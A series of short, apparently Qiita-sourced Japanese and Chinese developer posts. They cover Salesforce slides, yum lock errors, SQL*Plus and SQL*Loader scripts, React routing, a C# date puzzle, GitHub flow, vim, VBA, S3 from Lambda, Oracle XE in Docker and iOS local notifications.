![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/9ccb833d-3ce8-772e-abc4-fb831ae761c7.png)
【online】Salesforce 知识分享（５）

#【前言】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/de52dfb7-eccf-2235-fa2c-1b6f97fbfedd.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/9e985d06-7648-0c02-373b-ee396917569b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/3a6ce9f2-0992-6c6f-16c1-3b36640f1d05.png)

#【分享内容】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/08a80c1e-02cc-5f70-e189-589e41ec5643.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/702c9d7d-9582-2e5e-ebae-712d32018fdb.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/e1e1b522-abcf-c08f-1e91-a51c5a9f82b9.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/a7bfd398-5f26-44dd-9349-94e21829e46e.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/1666c970-7b94-b338-e259-3fa869f53919.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/e77cedd0-3d60-70be-5007-a69fe059281a.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/50bb77b1-5963-2a5e-37fd-c50790262c9d.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/47901714-c3b5-1e47-f2c8-ae03be3ae9a3.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/06e657cf-3494-d620-d34a-4b5777dd4183.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/938df4f0-ddb2-c4f8-5326-5eb17b98fffa.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/c46f175c-f2d0-e971-f7c8-5c1ffac6b5cb.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/f8fabd84-7c9c-321f-271e-55a9ec9e392c.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/25f992ab-15b2-b6ab-2979-88c54ed8168b.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/4cb09282-3f47-ace7-ab75-70366e3a8242.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/76d30f36-21d7-e655-0889-bcba650917fe.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/186fc49b-f338-d643-74e7-acc6fd2ec8f7.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/e56d932a-23cf-5cf6-aaee-c00cfc23f61a.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/7f8cf49f-79f1-a6f8-1d91-00a33b9d44a8.png)
【online】Salesforce 知识分享（４）

#【前言】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/de52dfb7-eccf-2235-fa2c-1b6f97fbfedd.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/9e985d06-7648-0c02-373b-ee396917569b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/3a6ce9f2-0992-6c6f-16c1-3b36640f1d05.png)

#【分享内容】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/ef3e2048-acf2-320d-7dec-b349a435ef7b.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/155657e1-5cdf-ff90-b7d2-ba76b96d7d69.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/066de6ed-066e-7f62-9c3e-26daa9848901.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/4e32998e-9d8f-06f6-b732-ec181ed1f73c.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/ac1a1bfc-9431-54bf-2498-4ac650bf6883.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/aaf5a36c-f1e3-20b7-38e7-78b01872d41d.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/0b6ce88a-f313-ccd0-7d29-f10199c41a5b.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/4785f854-ad9e-a794-c664-18e8f952597e.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/343ef9ae-d085-84bf-608a-c5a46e519216.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/365441de-4fd0-c1b6-3ed3-ec9915be1838.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/cfef1a99-87d6-1aaa-a361-f98a5299fa16.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/bd432486-eafa-1c6a-592e-843c5b502dfa.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/758347ff-1406-13f0-196d-69d352e43931.png)
【online】Salesforce 知识分享（３）

#【前言】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/de52dfb7-eccf-2235-fa2c-1b6f97fbfedd.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/9e985d06-7648-0c02-373b-ee396917569b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/3a6ce9f2-0992-6c6f-16c1-3b36640f1d05.png)

#【分享内容】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/81bf5a5d-ba30-96b9-c1d6-9a9ef52fd04a.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/ab5b546e-eae8-5619-2852-e60dd203d6c7.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/ac225287-1ceb-f5a6-dce4-4559448387f9.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/c2ee8d79-0589-5a87-df59-912ebed16789.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/00d32230-bcf4-adc1-d931-faccb3d16df4.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/a9468ae4-cd9f-ecbc-990b-b808749ba60e.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/5a5d3964-ce66-d32c-9849-4ab8f7e959cc.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/10c436d5-d5b5-a9bb-b284-14baff7c0468.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/c45234e3-d9d8-8bc1-ed7f-96a0b54a6468.png)
Another app is currently holding the yum lock; waiting for it to exit...のエラー

EC2のサーバーで

```
sudo yum install　パッケージ名
```
でパッケージインストール中に、別の作業をしていたら、タイムオーバーにより、正常にインストールが終了しないままEC2サーバーと切断(broken pipe)してしまいました。

```
Is this ok [y/d/N]: packet_write_wait: Connection to [パブリックIP] port 22: Broken pipe
```
その後、再度EC2サーバーへログインして、

```
sudo yum install パッケージ名
```
を実行したところ

```
ロックファイル /var/run/yum.pid が存在します: PID 18488 として別に実行されています。
Another app is currently holding the yum lock; waiting for it to exit...
 他のアプリケーション: yum
   メモリー: 143 M RSS (541 MB VSZ)
    開始   : Sun Mar  1 00:55:34 2020 - 1:03:58 秒経過
    状態   : スリープ中、PID: 18488
```
というコメントが続いて、インストールが始まらない状態が続きました。
~~sudo rm -f /var/run/yum.pid
を実行した後、再度同じインストールコマンドを実行したところ、正常にインストールが実行されました。~~

追記）
https://pentan.info/server/linux/yum_lock.html
を参考に、

```
ps aux | grep yum #該当するPTDの番号確認
kill [PIDの番号]
```
により、二重処理を解消できます。
Sqlplusで複数SQLスクリプトを実行

```
sqlplus userid/pwd @test.sql
```
sqlplusコマンドで指定できるスクリプト数が、どうやら1つしかできないようです。
一括まとめのsqlスクリプトを作っておけば複数SQLスクリプトを実行することが可能になります。

#### test.sql
```
--Grobal変数
define yyyymm = 201510
@file1.sql
@file2.sql
@file3.sql
```

#### 各file1.sql
```
set echo on
set time on
set timi on
set pages 0
set head off
set colsep ','
set lin 1000
set trimspool on
set termout off
spool ./log/log名&yyyymm..txt
/
spool off
--exit
```

#### 注意点
・SQLの最後には必ず「;」（セミコロン）が必要です。（/（スラッシュ）も可）
・SQLスクリプトにexitを書かないこと
一時テーブル作成

## 一時テーブル作成
リモートでOracleデータベースへ接続し、データ抽出する際に
検索対象をOracleの一時テーブルに保存する場面が良くあります。
以下は自分が一時テーブルを作成する際によく使うスクリプトです。
１）一時テーブル作成
・exe.bat
・create.sql

２）データ取込
・_sqldr.bat
・ctrl.ctl
・data.aaa

実行する順番は、exe.bat　→_sqldr.bat

#### exe.batについて
```
# sqlplus {ユーザー}/{パスワード}@{接続文字列} 実行するSQL
# 接続文字列は「tnsnames.ora」に設定された名称である。
sqlplus user/pw@pdb @create.sql
```
#### create.sqlについて
内容は一時テーブルを定義する。
以下の例文はテーブルに3項目を定義する

```
set echo on
spool ./log/CREATE_.log

DROP TABLE 一時テーブル;

CREATE TABLE 一時テーブル (			
field1 varchar2(5),
field2 varchar2(4),
field3 varchar2(2)
)
PCTFREE 10
MAXTRANS 255
TABLESPACE TBL01
STORAGE(INITIAL 1M NEXT 1M MINEXTENTS 1 MAXEXTENTS 4096 BUFFER_POOL DEFAULT)
NOCACHE
LOGGING
/   
spool off
exit
```

#### _sqldr.bat
```
sqlldr user/pw@pdb data= ".\data.aaa" control="ctrl.ctl" log="log\log_.log" bad="bad\bad_.bad" 
```
#### ctrl.ctl
```
# 取込ファイルに対する解析ルール
OPTIONS(BINDSIZE=10000000,SKIP=0,ROWS=1000) 
LOAD DATA 
APPEND 
INTO TABLE 一時テーブル名
FIELDS TERMINATED BY "," OPTIONALLY ENCLOSED BY '"' 
TRAILING NULLCOLS 
(
field1,
field2,
field3
)

```

#### data.aaa
```
aaa1,bbb,ccc
aaa2,bbb,ccc
aaa3,bbb,ccc
```

以上です。
[React]動的にコンポーネントを表示する

URL の変更に合わせてコンポーネントを切り替えたくて、あれこれやってみたのでメモ。

```
react: 16.13.0
react-router-dom: 5.1.2
```

# Route
```jsx
// url から Component を決めて表示したいので slug を設定
<Route path='/:slug' component={MyComponent} />
```

# Component
```jsx
import React, { FC } from 'react';
import { useParams } from 'react-router-dom';
import ComponentA from './ComponentA';
import ComponentB from './ComponentB';
import NotFound from './NotFound';

const MyComponent: FC = () => {
  // Route で設定したパラメータを取得
  const { slug } = useParams();

  // URL に合わせてコンポーネントを設定。マッチしなかった場合用に NotFound を用意。
  const components: { [key: string]: FC } = {
    'component-a': ComponentA,
    'component-b': ComponentB,
    'not-found': NotFound,
  };

  // slug が存在してマッチすれば上で指定した Component を、そうでなければ NotFound をセット。
  const ComponentName = (slug && components[slug]) || components['not-found'];

  return <ComponentName />;
};

export default MyComponent;
```

これで、 URL に対して `components` で対応させたコンポーネントが表示される。

これよりもこっちの方がいいよ！とかあれば教えてもらえると嬉しいです！
[paiza レベルアップ問題集] 日付セット　曜日[LARGE]　（paizaランクB相当)　youtubeの解説動画を視て修正

[paiza練習問題 曜日[LARGE]](https://paiza.jp/works/mondai/dateset/day_of_week_large?language_uid=c-sharp)を[youtube解説動画](https://www.youtube.com/watch?v=492L9rE95uo&t=2646s)を視て書く。

###ポイント
うるう年は400年周期で同じルールが適用されるので、400年の日数を計算する。

```C#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace DayOfWeekLarge
{
    class Program
    {
        static void Main(string[] args)
        {
            string[] input = Console.ReadLine().Trim().Split(' ');
            long year = long.Parse(input[0]);
            long month = long.Parse(input[1]);
            long day = long.Parse(input[2]);
            //１８００年１月１日からの日数を計算する
            long count = countDay(year, month, day);
            string[] dayOfWeek = new string[] { "水", "木", "金", "土", "日", "月", "火" };

            Console.WriteLine(dayOfWeek[count % 7] + "曜日");
        }
        //ある年月の最終日を返す
        static long lastDay(long year,long month)
        {
            switch (month)
            {
                case 2:
                    if(year % 400 == 0 || (year % 100 != 0 && year % 4 == 0))
                    {
                        return 29;
                    }
                    else
                    {
                        return 28;
                    }
                case 4:
                case 6:
                case 9:
                case 11:
                    return 30;
                default:
                    return 31;
         
            }
        }
        // 次の日を計算するメソッド
        static long[] nextDay(long year, long month, long day)
        {
            day++;
            if(day > lastDay(year,month))
            {
                day = 1;
                month++;
            }
            if(month > 12)
            {
                month = 1;
                year++;
            }
            return new long[] { year, month, day };
        }
        //１８００年１月１日からの日数を計算するメソッド
        static long countDay(long year,long month,long day)
        {
            long y = 1800, m = 1, d = 1;
            long count = 0;
            //400年分の日数を計算
            long DaysOf400Years = 365 * 400 + (400 / 400) - (400 / 100) + (400 / 4);
            //400の倍数年未来に飛ぶ
            count += ((year - 1800) / 400) * DaysOf400Years;
            y = year - (year - 1800) % 400;
            while(!(y == year && m == month && d == day))
            {
                //一日ずつ進める
                count++;
                long[] tomoorow = nextDay(y, m, d);
                y = tomoorow[0];
                m = tomoorow[1];
                d = tomoorow[2];
            }
            return count;
        }
    }
}
```
【初心者向け】Githubを用いた個人での疑似チーム開発のやり方

備忘録も兼ねています。
# 1．こんな方におすすめ

・Githubをもっとうまく使いこなしたい方
・疑似チーム開発ができるようになることで、ポートフォリオ作成という個人開発のみでも、実務に近い形でGithubを使えるようになりたい方
・上記のレベル感でかつ、就職・転職の際ポートフォリオでもっとアピールできるようになりたい方

# ２．方法

チーム開発する際には**「開発フロー」**というルールがある.
開発フローにはいくつか種類があるが、**github-frow**というものがある。

※余談※
実際のチーム開発では、チームによって開発フローを一部変更して使うことが多々ある。


github-flowを用いた開発では、以下のルールに従う。

・masterブランチは、リリース(デプロイ)可能な状態にしておく。masterにはむやみにプッシュしない。
・開発する際は、**実装したい機能や、修正したい要件**をIssueに投稿する。
例: ログインフォームにバグが発生。submitイベントが発生していない。
その後、実際のissueに合わせて開発用ブランチを切る。
例:  bugfix-form-inputなど
・ローカルで開発が終われば、リモートにその開発ブランチをプッシュし、プルリクを作成する。
プルリクが承認され次第、作成したissueをクローズする。

# ３．まとめ
・ブランチは、コンポーネントではなく機能やバグなどで分けるといい。
Androidデバイス内で起動したvimの為のtips

いつもポエムの様に[DroidVim](https://play.google.com/store/apps/details?id=com.droidvim&hl=ja)の話を垂れ流す当記事ですが、最近androidからのsshクライアントを[Termux](https://play.google.com/store/apps/details?id=com.termux&hl=ja)に変更したため、「Termuxでもvimが必要」というケースが増え、vimrc内で条件分岐が欲しいケースがまた増えました。gitを使って共通の設定を使っているので、設定内で複雑な記述を避けるために環境（と端末）を特定する方法が必要なわけですが…

## 出来らぁ！

とはいえ、とりあえずDroidVimとTermuxのケースに絞ります。他の方法は非現実的でしょうし、[UserLAnd](https://play.google.com/store/apps/details?id=tech.ula&hl=ja)なら逆にこんなことで困りません。この2つのアプリで共通するのは、android内の`/data/data`ディレクトリにアプリ専用のホームディレクトリがあるということです。つまり`echo expand('~')`で現在のアプリのホームディレクトリのフルパスが取得できます。というわけで…

```detectAppSample.vim
if expand('~') =~? 'droidvim'
    echo "I'm DroidVim."
elseif expand('~') =~? 'termux'
    echo "I'm Termux."
endif
```

が出来てしまいます。これで片方は解決です。もう一つ、複数のandroidデバイスをどう識別するかですが、adbから使える`getprop`が難なく使えました。というわけで…

```detectDeviceSample.vim
let device = system('getprop ro.product.model')
```

で問題なしです。
VBAエラー

エラー調べ

#### 10004エラー 

``` vba
bCopy.Worksheets("sh1").Range("A1").SelectでRangeクラスのSelectメソッドが失敗しました。
```

エラーの原因がSelectにある。ワークシートsh1がアクティブになっていない場合、sh1のセルをSelectに指定してはいけないようです。以下のコードを追加すればエラーが解消される。

```
Worksheets(sh1).Activate
```
GoogleStreetViewを足踏みで仮想散歩するPGM

JavaScriptからカメラを起動し、カメラの画素変化を検知し、その変化率に応じて、前進・右回り・左回りを判定し、それに応じてGoogleStreetViewの画像を変化させるPGMを作成しました。
・散歩の初期位置を設定できるように修正しました. 2020.03.03

以下の手順で使用できます
1. googleApiキー、初期緯度、初期経度をセット
2. カメラを起動
3. 仮想散歩開始ボタンをクリック
4. 再度仮想散歩開始ボタンをクリック
5. 以後足踏みで前進、左腕を一定時間振っていることで左回り、右腕を一定時間振ることで右回りの操作になります。


これで雨の日でも雪の日でも室内で散歩できますねww

参考にしたサイト
<a href="https://developer.mozilla.org/ja/docs/Web/API/MediaDevices/getUserMedia">
MediaDevices.getUserMedia() - Web API | MDN
</a>

<a href="https://developers.google.com/maps/documentation/javascript/streetview">
Street View Service  |  Maps JavaScript API  |  Google Developers
</a>
<a href="https://www.asobou.co.jp/blog/web/streetview">
GoogleStreetViewが勝手に動く!?GoogleMapAPIを使った自動再生プログラムを作ってみる。 : ビジネスとIT活用に役立つ情報
</a>

<a href="https://developer.mozilla.org/ja/docs/Web/Guide/HTML/Canvas_tutorial/Pixel_manipulation_with_canvas">
Canvas とピクセル操作 - 開発者ガイド | MDN
</a>

<a href="https://javascript.programmer-reference.com/js-multiple-return-value/">
[JavaScript] 関数から複数値を返す | コピペで使える JavaScript逆引きリファレンス
</a>

<a href="https://udemy.benesse.co.jp/development/web/css-float.html">
CSS floatを初心者向けに図で解説　抑えるべき注意点…｜Udemy メディア
</a>

サンプルスクリーンショット
![googleStreetSampoSampleGazo.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/412430/2f4bca7f-88c4-bce3-e0a8-6c7074007607.jpeg)

参考画像
画像の変化を検出する領域は以下のようになっています

![googleStreetSampoSampleGazo2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/412430/5159b201-3ed4-5dc2-0875-2c054cfb836c.jpeg)


githubURL:https://github.com/NanjoMiyako/cameraTest

サンプルページURL:https://nanjomiyako.github.io/cameraTest/
LamdbaからS3内のファイルを操作したい

LamdbaからS3内を操作するメソッドで、よく使うものをメモ書き。

まずaws-sdkをrequireし、リージョンを指定します。
AWS SDKとは、AWSサービスをプログラムから操作できる開発キットです。

```javascript
const AWS = require('aws-sdk');
const s3 = new AWS.S3({'region':'リージョン'});
```

##ファイル作成・更新
ファイルを作成するには、putObjectメソッドを使用します。
S3に'test'というバケットがあり、その配下のsampleフォルダに'sample.json'というJSONファイルを作成します。


```javascript

exports.handler = async (event) => {
  
  const putData = await s3.putObject(
    {
      Bucket:'test',
      Key:'sample/sample1.json',
      Body: JSON.stringify({})
    }).promise()
}
```
Bucket...バケット名
Kye...バッケト以下/ファイル名
Body...JSONファイル内に書きたい内容

実行すると、空のJSONファイルがS3に作成されます。

内容を記載したい場合はBodyのところに適当に入れます。

```javascript
Body: JSON.stringify({name:'ai',age:20})
```

実行すると、sample.jsonの中に`{"name":"ai","age":20}`が追加されているのが確認できます。


##ファイル取得

S3のファイルを取得するには、getObjectメソッドを使います。

```javascript

exports.handler = async (event) => {
  const data = await s3.getObject(
    {
      Bucket:'test',
      Key:'test/sample1.json'
    }).promise()
    const obj = JSON.parse(data.Body) 
    console.log(obj.name,obj.age) //ai 20
}
```

先ほどと同様に、取得したいファイルの情報をBucket,Keyに指定します。
JSONをparseしてオブジェクトに変換することで、中身にアクセスすることができます。


##ファイル削除

```javascript
exports.handler = async (event) => {
 const deletes = await s3.deleteObject(
   {
     Bucket:'test',
     Key:'test/sample1.json'
   }).promise()
}
```
こちらも同様に削除したいファイルの情報をBucket、Keyに指定します。

実行すると、削除できたことが確認できます。
ちなみに、存在しないファイル名を指定した場合でもエラーにはなりません。
なのでtry~catchで囲み、エラーを出してくれるようにしてあげる必要があります。

```javascript
exports.handler = async (event) => {
  try {
  const deletes = await s3.deleteObject(
    {
      Bucket:'test',
      Key:'sample/sample1XXX.json'
    }).promise().catch(err=>{
      throw new Error(err)
    })
  } catch (err){
    console.log(err)
  }
}

//実行結果　Error: NoSuchKey: The specified key does not exist.
```
存在しないファイル名を指定して実行すると、エラーになることが確認できました。



##データの一覧を取得する

S3にどんなファイルがあるか分からない時、listObjectsV2メソッドで確認することがきます。

```javascript
exports.handler = async (event) => {
    const params = {
      'Bucket':'test',
      'Prefix':'sample',
    }

    const lists = await s3.listObjectsV2(params).promise()
    lists.Contents.forEach((a) => console.log(a.Key))
}
```
実行すると、sampleフォルダ配下に何があるか確認できました。

```:実行結果
sample/
sample/sample1.json
sample/sample2.json
sample/sample3.json
```
【備忘録】Canvaでデザインを作成する際の環境構築

🔴デフォルトの作業画面

メイン画面(MBP)→Canva

サブ画面(iPad)
左上：配色のルール(3-6)
左下：カラーホイール(色相環/3-1)
右上：色の持つイメージ(3-4)
右下：テキストエディタ(イメージの言語化・メモ)
※chot.designの「はじめてのデザイン 〜デザインの基本・考え方〜」を使用
https://chot.design/concept-of-design/

🔴現時点で作成の優先順位

テーマ(伝えたいこと)＞テキストのテンプレ＞色

配色を考えるのに便利なアプリ
https://colorsupplyyy.com/app/

参考:
https://twitter.com/LIFESTYLENOMAD1/status/1230631010158596102?s=20

https://twitter.com/LIFESTYLENOMAD1/status/1229156879470878720?s=20
DockerでOracle Database Expressを使う

# はじめに

dockerでOracle Database 11g Expressを使う手順。

OracleがインストーラとDockerfileを別々に配布しているため、ローカルでdocker buildする必要が有る。

# 環境

- Ubuntu 18.04.4 LTS (Bionic Beaver)
- [Oracle Database 11g ExpressEdition](https://www.oracle.com/technetwork/jp/database/database-technologies/express-edition/downloads/xe-prior-releases-5172097-ja.html)
- [oracle/docker-images](https://github.com/oracle/docker-images/tree/master/OracleDatabase/SingleInstance/dockerfiles/11.2.0.2)
- Docker 19.03.6

# dockerfileをclone

dockerfileを同梱したビルドツールをGitHubからクローンする。

```console
git clone https://github.com/oracle/docker-images.git
```

# Oracle Database XE本体をダウンロード

以下のサイトからXEをダウンロードする。
現時点(2020/02/28)では [Oracle Database 11g Release 2](https://www.oracle.com/database/technologies/xe-prior-releases.html) と [Oracle Database 18c](https://www.oracle.com/database/technologies/xe-downloads.html) の2つバージョンが公開されている。11gと18cで仕組みやコンポーネントがかなり違うので要注意。

ダウンロードしたファイルをビルドツール内のディレクトリに配置する。

```console:11gインストーラ格納ディレクトリ
docker-images/OracleDatabase/SingleInstance/dockerfiles/11.2.0.2
```

<!--
```console:18cインストーラ格納ディレクトリ
docker-images/OracleDatabase/SingleInstance/dockerfiles/18.4.0
```
-->

# ビルド

dockerのbuildコマンドでイメージを作る。

ビルド用のスクリプト`buildDockerImage.sh`が公開されているのでこれを使う。引数の詳細は [README](https://github.com/oracle/docker-images/blob/master/OracleDatabase/SingleInstance/README.md)参照のこと。

```console
cd docker-images/OracleDatabase/SingleInstance/dockerfiles
./buildDockerImage.sh -v 11.2.0.2 -x
```

# データベースファイル格納ディレクトリの準備

dockerがマウントするデータベースファイルを格納するディレクトリを用意する。

```console
mkdir ./oradata
chmod 777 ./oradata
```

データベースファイルを作るのに10分以上かかるので、マウントをおすすめする。

# docker-composeで起動

docker-composeファイルを作成する。

```yaml:docker-compose.yml
version: "2"
services:
  db:
    image: oracle/database:11.2.0.2-xe
    container_name: oracle
    shm_size: 1g
    ports:
      - 1521:1521
      - 5500:5500
      - 8080:8080
    volumes:
      - ./oradata:/opt/oracle/oradata
    environment:
      - ORACLE_PWD=manager
```

`docker-compose.yml`のポイントは以下。

<!--
- imageには、11gまたは18cのバージョンを設定する。
-->

- `shm_size`は、Oracleが大量にメモリを消費するため、共有メモリ1GBを設定している。
- ポート番号は、1521 (Oracle Listener), 5500 (OEM Express),8080 (APEX)の3つ。
- `ORACLE_PWD`はOracleのパスワード。


次に、コンテナを起動する。

```console
docker-compose up -d
```

コンテナの起動状況はログで確認する。

```console
docker logs -f db
```

# 初期設定

sqlplusを起動する。

```console
docker-compose exec db sqlplus system/manager@//localhost:1521/XE
```

EMなどで外部から接続できる設定をする。

```console
EXEC DBMS_XDB.SETLISTENERLOCALACCESS(FALSE);
```

# 参考サイト

- https://docs.oracle.com/cd/E96517_01/xeinl/making-oracle-database-em-express-available-remote-clients.html
- https://qiita.com/gorilla0513/items/f22e8cce4e08da031abe
[swift5]iOSアプリでローカル通知を実装

ローカル通知を実装する方法を紹介します！

## 動作環境

| 対象 | バージョン |
|---|---|
| iOS | 13.3.1 |
| macOS | Catalina 10.15.3 |
| Xcode | 11.3.1 |
| Swift | 5.1.3 |

## 実装の方法

## ソースコード

### AppDelegate.swift

```swift
import UIKit
import UserNotifications

@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {

    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
        // Override point for customization after application launch.

        // 通知許可の取得
        UNUserNotificationCenter.current().requestAuthorization(
        options: [.alert, .sound, .badge]){
            (granted, _) in
            if granted{
                UNUserNotificationCenter.current().delegate = self
            }
        }
        return true
    }

    // MARK: UISceneSession Lifecycle

    func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options: UIScene.ConnectionOptions) -> UISceneConfiguration {
        // Called when a new scene session is being created.
        // Use this method to select a configuration to create the new scene with.
        return UISceneConfiguration(name: "Default Configuration", sessionRole: connectingSceneSession.role)
    }

    func application(_ application: UIApplication, didDiscardSceneSessions sceneSessions: Set<UISceneSession>) {
        // Called when the user discards a scene session.
        // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions.
        // Use this method to release any resources that were specific to the discarded scenes, as they will not return.
    }

}

extension AppDelegate: UNUserNotificationCenterDelegate {
    func userNotificationCenter(
        _ center: UNUserNotificationCenter,
        willPresent notification: UNNotification,
        withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void)
    {
        // アプリ起動時も通知を行う
        completionHandler([ .badge, .sound, .alert ])
    }
}
```

### ViewController.swift

```swift
import UIKit

class ViewController: UIViewController {

    override func viewDidLoad() {
        super.viewDidLoad()
    }

    /// ローカル通知ボタンを押下した際の処理
    /// - Parameter sender: ローカル通知ボタン
    @IBAction func localPush(_ sender: Any) {
        let content = UNMutableNotificationContent()
        content.title = "お知らせ"
        content.body = "ボタンを押しました。"
        content.sound = UNNotificationSound.default

        // 直ぐに通知を表示
        let request = UNNotificationRequest(identifier: "immediately", content: content, trigger: nil)
        UNUserNotificationCenter.current().add(request, withCompletionHandler: nil)
    }
}
```